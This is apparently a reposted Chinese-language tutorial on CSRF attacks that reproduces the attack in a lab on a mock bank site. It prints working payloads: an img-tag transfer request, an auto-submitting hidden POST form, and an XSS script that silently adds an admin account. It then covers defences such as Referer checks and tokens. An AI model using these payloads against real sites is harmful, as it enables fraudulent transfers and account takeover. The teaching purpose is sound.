【CyberSecurityLearning 63】CSRF攻击
目錄
CSRF攻擊
* 概述
* 關(guān)鍵點(diǎn)
* 目標(biāo)
實(shí)戰(zhàn):CSRF 場景復(fù)現(xiàn)
* 正常的業(yè)務(wù)
*CSRF 攻擊
如何觸發(fā)
* 場景建模
* POST 方式
實(shí)戰(zhàn):與XSS 的結(jié)合添加后臺(tái)賬號(hào)
CSRF 的防御
* 無效的防御
??? @?? 僅接受POST請(qǐng)求
??? @?? 多步交易
??? @?? URL重寫
??? @?? HTTPS
* 有效防御
??? @?? 驗(yàn)證Referer 字段
??? @?? 添加Token 驗(yàn)證
??? @?? 二次驗(yàn)證
??? @?? 用戶養(yǎng)成良好的習(xí)慣
?
CSRF攻擊
* 概述
??? 跨站請(qǐng)求偽造(Cross-site request forgery,CSRF)是一種攻擊,它強(qiáng)制終端用戶在當(dāng)前對(duì)其進(jìn)行身份驗(yàn)證后的Web應(yīng)用程序上執(zhí)行非本意的操作。(CSRF這個(gè)漏洞發(fā)生在web應(yīng)用當(dāng)中,不屬于系統(tǒng)或組件;發(fā)生CSRF攻擊的場景有一個(gè)前提,有一個(gè)用戶登錄了web應(yīng)用)
??? CSRF攻擊的著重點(diǎn)在偽造更改狀態(tài)的請(qǐng)求,而不是盜取數(shù)據(jù),因?yàn)楣粽邿o法查看對(duì)偽造請(qǐng)求的響應(yīng)。(CSRF攻擊的攻擊重點(diǎn)在于我們偽造一個(gè)請(qǐng)求,這個(gè)請(qǐng)求屬于更改狀態(tài)類的請(qǐng)求,什么叫更改狀態(tài)類的請(qǐng)求呢?比如說修改密碼,他就是在更改web應(yīng)用的數(shù)據(jù)庫的狀態(tài),比如說轉(zhuǎn)賬操作。這是一個(gè)什么樣的情節(jié)呢?你登錄一個(gè)論壇之后,你訪問一個(gè)鏈接你發(fā)現(xiàn)你的錢被轉(zhuǎn)掉了)
??? 借助社工的一些幫助(例如通過電子郵件或聊天發(fā)送鏈接),攻擊者可以誘騙用戶執(zhí)行攻擊者選擇的操作。如果受害者是普通用戶,則成功的CSRF攻擊可以強(qiáng)制用戶執(zhí)行狀態(tài)更改的請(qǐng)求,例如轉(zhuǎn)移資金,更改其電子郵件地址等。如果受害者是管理帳戶,CSRF可能會(huì)危及整個(gè)Web應(yīng)用程序。
* 關(guān)鍵點(diǎn)
??? CSRF是一種欺騙受害者提交惡意請(qǐng)求的攻擊。它繼承了受害者的身份和特權(quán),代表受害者執(zhí)行非本意、惡意的操作。
??? 對(duì)于大多數(shù)站點(diǎn),瀏覽器請(qǐng)求自動(dòng)發(fā)送與站點(diǎn)關(guān)聯(lián)的所有憑據(jù),例如用戶的會(huì)話cookie,IP地址,Windows域憑據(jù)等。因此,如果用戶當(dāng)前已對(duì)該站點(diǎn)進(jìn)行了身份驗(yàn)證,則該站點(diǎn)將無法區(qū)分受害者發(fā)送的偽造請(qǐng)求和受害者發(fā)送的合法請(qǐng)求。
?
* 目標(biāo)
??? CSRF攻擊目標(biāo)是能夠更改服務(wù)器狀態(tài)或數(shù)據(jù)的業(yè)務(wù)或功能,例如更改受害者的電子郵件地址、密碼或購買商品。強(qiáng)制受害者查詢數(shù)據(jù),對(duì)于攻擊者來說沒什么用,因?yàn)闊o法獲得服務(wù)器響應(yīng)。因此,CSRF攻擊針對(duì)引起狀態(tài)變化的請(qǐng)求。
??? 有時(shí)可以將CSRF攻擊存儲(chǔ)在易受攻擊的站點(diǎn)上。這些漏洞被稱為“存儲(chǔ)的CSRF漏洞”。這可以通過簡單地在接受HTML的字段中存儲(chǔ)IMG或IFRAME標(biāo)記,或通過更復(fù)雜的跨站點(diǎn)腳本攻擊來實(shí)現(xiàn)。如果攻擊可以在站點(diǎn)中存儲(chǔ)CSRF攻擊,則攻擊的嚴(yán)重性會(huì)被放大。特別是,受到攻擊的可能性增加,因?yàn)槭芎φ弑然ヂ?lián)網(wǎng)上的某個(gè)隨機(jī)頁面更有可能查看包含攻擊的頁面。
實(shí)戰(zhàn):CSRF 場景復(fù)現(xiàn)
需要一個(gè) Web 應(yīng)用
來源:
?? ??? ?1. 我給你的
?? ??? ?2. 你自己寫的論壇,轉(zhuǎn)賬功能。
??? 為了復(fù)現(xiàn)CSRF 攻擊的場景,我們搭建了一個(gè)模擬銀行網(wǎng)站。該模擬銀行網(wǎng)站的核心業(yè)務(wù)就是轉(zhuǎn)賬。
導(dǎo)入數(shù)據(jù)庫的操作:source C:\phpstudy/www/bank/bank.sql
* 正常的業(yè)務(wù)
首先我們使用[admin/123456]登錄銀行賬戶。
在另一臺(tái)瀏覽器中,使用[test/123456]登錄
可以操作admin用戶給test用戶匯款
*CSRF 攻擊
我們以admin用戶的身份,在沒有退掉當(dāng)前網(wǎng)站的情況下,訪問了一個(gè)極具誘惑性的網(wǎng)站。
當(dāng)我們?cè)谶@個(gè)網(wǎng)站中點(diǎn)擊了某個(gè)鏈接
此時(shí),我們會(huì)發(fā)現(xiàn)賬戶中給hacker 轉(zhuǎn)了1000.
我們會(huì)發(fā)現(xiàn),admin用戶的并沒有意愿給hacker 用戶轉(zhuǎn)賬,這個(gè)操作完全是非本意的,而且請(qǐng)求在admin 用戶不知不覺的情況下被發(fā)送。說明test 用戶遭受了CSRF 攻擊
?
如何觸發(fā)
1、<a href="轉(zhuǎn)賬鏈接">一刀99</a>?? a標(biāo)簽
2、<img src="">? 利用img標(biāo)簽
----------
<meta charset='utf-8'>
<img src='./1.jpg'><br />
<img src='http://192.168.1.200/bank/action.php?
username=hacker&money=100&submit=%E4%BA%A4%E6%98%93'
alt='寶刀在手,誰與爭鋒'>
-----------
?
??? 嘗試查看通道一的源碼。
----
<img src='./1.jpg'><br />
<img src='http://172.16.132.161/bank/action.php?username=hacker&money=1000&submit=%E4%BA%A4%E6%98%93'
alt='寶刀在手,誰與爭鋒'>
----
??? 也就是說,該頁面通過<img> 標(biāo)簽發(fā)送了一個(gè)get 請(qǐng)求,這個(gè)get 請(qǐng)求,正是用戶發(fā)起轉(zhuǎn)賬業(yè)務(wù)的請(qǐng)求。
* 場景建模
CSRF 的類別
??? 以上場景中是利用<img> 標(biāo)簽發(fā)送的get 請(qǐng)求。那么是不是把關(guān)鍵操作使用POST 請(qǐng)求,就能夠防御CSRF 漏洞了呢?答案是否定的。
* POST 方式
??? 即使轉(zhuǎn)賬操作使用POST 方法,攻擊者也可以通過構(gòu)造表單的方式來偽造請(qǐng)求,核心代碼如下。
-----------------------------------------------------------------
<meta charset='utf-8'>
<form name='csrf' action='http://172.16.132.138/bank/action.php' method='post'>
<input type='hidden' name='username' value='hacker'>
<input type='hidden' name='money' value='1000'>
</form>
<script>document.csrf.submit()</script>
<img src="./1.jpg" ><br />
<!--<a href='javascript:document.csrf.submit()' style='color:red;font-size:100px'>寶刀在手,誰與爭鋒</a><br />
-----------------------------------------------------------------
??? 此處可以利用JS 來自動(dòng)提交隱藏的表單,但是頁面會(huì)跳轉(zhuǎn)到self.php 并且顯示轉(zhuǎn)賬記錄。這看起來就不是那么“友好”了。那么,有沒有辦法做到“不知不覺”呢?
?
實(shí)戰(zhàn):與XSS 的結(jié)合添加后臺(tái)賬號(hào)
??? 攻擊者可以通過XSS 來觸發(fā)CSRF 攻擊。因?yàn)?#xff0c;可以利用JS 來發(fā)送請(qǐng)求。
??? 通過研究受害網(wǎng)站的業(yè)務(wù)流程,攻擊者可以構(gòu)造如下代碼。
----
<script>
xmlhttp = new XMLHttpRequest();
xmlhttp.open(\'post\',\'http://172.16.132.161/cms/admin/user.action.php\',false);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send(\'act=add&username=hacker&password=123456&password2=123456&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0\');
</script>
----
?
??? 我們將代碼插入到網(wǎng)站留言板中。
??? 然后模擬網(wǎng)站管理員,登錄后臺(tái),進(jìn)行留言管理,只要管理員刷新頁面就會(huì)觸發(fā)XSS 代碼,以管理員的身份發(fā)送一個(gè)請(qǐng)求,創(chuàng)建一個(gè)后臺(tái)賬戶[ajest/123456],同時(shí)網(wǎng)站后臺(tái)管理員一點(diǎn)兒“感覺”都沒有。
CSRF 的防御
* 無效的防御
??? 很多防御方式都沒有辦法解決CSRF 的問題。
??? @?? 使用秘密cookie
??? 請(qǐng)記住,所有cookie,即使是秘密的cookie,也會(huì)隨著每個(gè)請(qǐng)求一起提交。無論最終用戶是否被欺騙提交請(qǐng)求,都將提交所有身份驗(yàn)證令牌。身份憑據(jù)。
??? @?? 僅接受POST請(qǐng)求
可以開發(fā)應(yīng)用程序以僅接受用于執(zhí)行業(yè)務(wù)邏輯的POST請(qǐng)求。誤解是由于攻擊者無法構(gòu)建惡意鏈接,因此無法執(zhí)行CSRF攻擊。不幸的是,這種邏輯不正確。有許多方法可以讓攻擊者欺騙受害者提交偽造的POST請(qǐng)求,例如在隱藏值的攻擊者網(wǎng)站中托管的簡單表單。此表單可以由JavaScript自動(dòng)觸發(fā),也可以由認(rèn)為表單會(huì)執(zhí)行其他操作的受害者觸發(fā)。
??? @?? 多步交易
??? 多步交易不足以預(yù)防CSRF。只要攻擊者可以預(yù)測或推斷完整的事務(wù)的每個(gè)步驟,就可以實(shí)現(xiàn)CSRF。
??? @?? URL重寫
??? 這可能被視為一種有用的CSRF預(yù)防技術(shù),因?yàn)楣粽邿o法猜測受害者的會(huì)話ID。但是,用戶的會(huì)話ID在URL中公開。所以不建議通過引入另一個(gè)安全漏洞來修復(fù)一個(gè)安全漏洞。
??? @?? HTTPS
??? HTTPS本身無法抵御CSRF。但是,HTTPS應(yīng)被視為任何預(yù)防措施值得信賴的先決條件。
* 有效防御
??? @?? 驗(yàn)證Referer 字段
??? 根據(jù)HTTP協(xié)議,在HTTP頭中有一個(gè)字段叫Referer,它記錄了該HTTP請(qǐng)求的來源地址。在通常情況下,訪問一個(gè)安全受限頁面的請(qǐng)求必須來自于同一個(gè)網(wǎng)站。比如某銀行的轉(zhuǎn)賬是通過用戶訪問[http://172.16.132.161/bank/action.php?username=hacker&money=1000&submit=%E4%BA%A4%E6%98%93]頁面完成,用戶必須先登錄,并且訪問,[http://172.16.132.161/bank/index.php],然后通過點(diǎn)擊頁面上的按鈕來觸發(fā)轉(zhuǎn)賬事件。當(dāng)用戶提交請(qǐng)求時(shí),該轉(zhuǎn)賬請(qǐng)求的Referer值就會(huì)是轉(zhuǎn)賬按鈕所在頁面的URL。而如果攻擊者要對(duì)銀行網(wǎng)站實(shí)施CSRF攻擊,他只能在自己的網(wǎng)站構(gòu)造請(qǐng)求,當(dāng)用戶通過攻擊者的網(wǎng)站發(fā)送請(qǐng)求到銀行時(shí),該請(qǐng)求的Referer是指向攻擊者的網(wǎng)站。因此,要防御CSRF攻擊,銀行網(wǎng)站只需要對(duì)于每一個(gè)轉(zhuǎn)賬請(qǐng)求驗(yàn)證其Referer值,如果是以172.16.132.161 的地址或域名,則說明該請(qǐng)求是來自銀行網(wǎng)站自己的請(qǐng)求,是合法的。如果Referer是其他網(wǎng)站的話,就有可能是CSRF攻擊,則拒絕該請(qǐng)求。
??? @?? 添加Token 驗(yàn)證
??? CSRF攻擊之所以能夠成功,是因?yàn)楣粽呖梢詡卧煊脩舻恼?qǐng)求,該請(qǐng)求中所有的用戶驗(yàn)證信息都存在于Cookie中,因此攻擊者可以在不知道這些驗(yàn)證信息的情況下直接利用用戶自己的Cookie來通過安全驗(yàn)證。由此可知,抵御CSRF攻擊的關(guān)鍵在于:在請(qǐng)求中放入攻擊者所不能偽造的信息,并且該信息不存在于Cookie之中。鑒于此,系統(tǒng)開發(fā)者可以在HTTP請(qǐng)求中以參數(shù)的形式加入一個(gè)隨機(jī)產(chǎn)生的token(隨機(jī)字符串),并在服務(wù)器端建立一個(gè)攔截器來驗(yàn)證這個(gè)token,如果請(qǐng)求中沒有token或者token內(nèi)容不正確,則認(rèn)為可能是CSRF攻擊而拒絕該請(qǐng)求。
??? @?? 二次驗(yàn)證
??? 二次驗(yàn)證,就是在轉(zhuǎn)賬等關(guān)鍵操作之前提供當(dāng)前用戶的密碼或者驗(yàn)證碼。二次驗(yàn)證可以有效防御CSRF 攻擊。
??? @?? 用戶養(yǎng)成良好的習(xí)慣
??? 對(duì)于普通用戶來說,都學(xué)習(xí)并具備網(wǎng)絡(luò)安全知識(shí)以防御網(wǎng)絡(luò)攻擊是不現(xiàn)實(shí)的。但若用戶養(yǎng)成良好的上網(wǎng)習(xí)慣,則能夠很大程度上減少CSRF攻擊的危害。例如,用戶上網(wǎng)時(shí),不要輕易點(diǎn)擊網(wǎng)絡(luò)論壇、聊天室、即時(shí)通訊工具或電子郵件中出現(xiàn)的鏈接或者圖片;及時(shí)退出長時(shí)間不使用的已登錄賬戶,尤其是系統(tǒng)管理員,應(yīng)盡量在登出系統(tǒng)的情況下點(diǎn)擊未知鏈接和圖片。除此之外,用戶還需要在連接互聯(lián)網(wǎng)的計(jì)算機(jī)上安裝合適的安全防護(hù)軟件,并及時(shí)更新軟件廠商發(fā)布的特征庫,以保持安全軟件對(duì)最新攻擊的實(shí)時(shí)跟蹤。
?
總結(jié)
以上是生活随笔為你收集整理的【CyberSecurityLearning 63】CSRF攻击的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 热烈祝贺我刊主编郑纬民教授被提名为中国工
- 下一篇: 智慧城市知识图谱模型与本体构建方法